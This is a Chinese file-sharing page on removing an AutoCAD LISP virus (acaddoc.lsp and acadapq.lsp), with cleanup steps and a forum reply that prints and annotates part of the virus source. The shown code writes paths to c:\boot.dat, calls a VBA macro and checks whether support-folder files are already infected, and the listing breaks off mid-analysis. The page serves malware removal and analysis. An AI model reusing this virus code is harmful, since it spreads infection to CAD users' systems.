AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

AUTOCAD病毒的清除方法

acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件

使用中主要表现的情况如下:

1、无法拷贝

2、在命令行提示需要执行一个宏

3、CAD会出莫名其妙的问题

解决方法:

关闭AutoCAD程序;

搜索所有acaddoc.lsp和acadapq.lsp文件

删除所有关acadapq.lsp(3,836字节) 和被感染的

acaddoc.lsp(27字节) (看文件大小);

重启AutoCAD,OK

ashan发表

LZ还说少了一个步骤:没有处理acad.mnl文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看:

最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:

-----------------下面是病毒代码-----------------------------

(setq wold_cmd (getvar "cmdecho"))

(setvar "cmdecho" 0)

(setq wpath (findfile "base.dcl"))

(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径

(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量

(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名

(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径

(setq wdwgwpath (substr wwjqm 1

( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径

;;;alert

( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则

(write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support

(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件

(write-line (strcat "yy=" wpath) f)

(close f)

(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径

(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在

(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录

(setq wacadwpath (substr wacadwpath 1

(- (strlen wacadwpath) 11)))

(setq wns1 "" wns2 "")

(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的

;;; ;标志,已感染为1,未感染为0

(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件

(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开

(progn ;成功则进行处理

(while

(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行

(setq wns1 wns2 ) ;内容,wns2中是最后一行的内容

(setq wns2 wwz)

)

(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,

(if (= (substr wns1 8 7) "acadapq") ;若是则已感染

(setq wlspbj 1)

)

)

(close wwjm)

)

)

(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,

;;; ;已感染为1,未感染为0

(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件

(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开

(progn ;成功则进行处理

(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容

相关文档
最新文档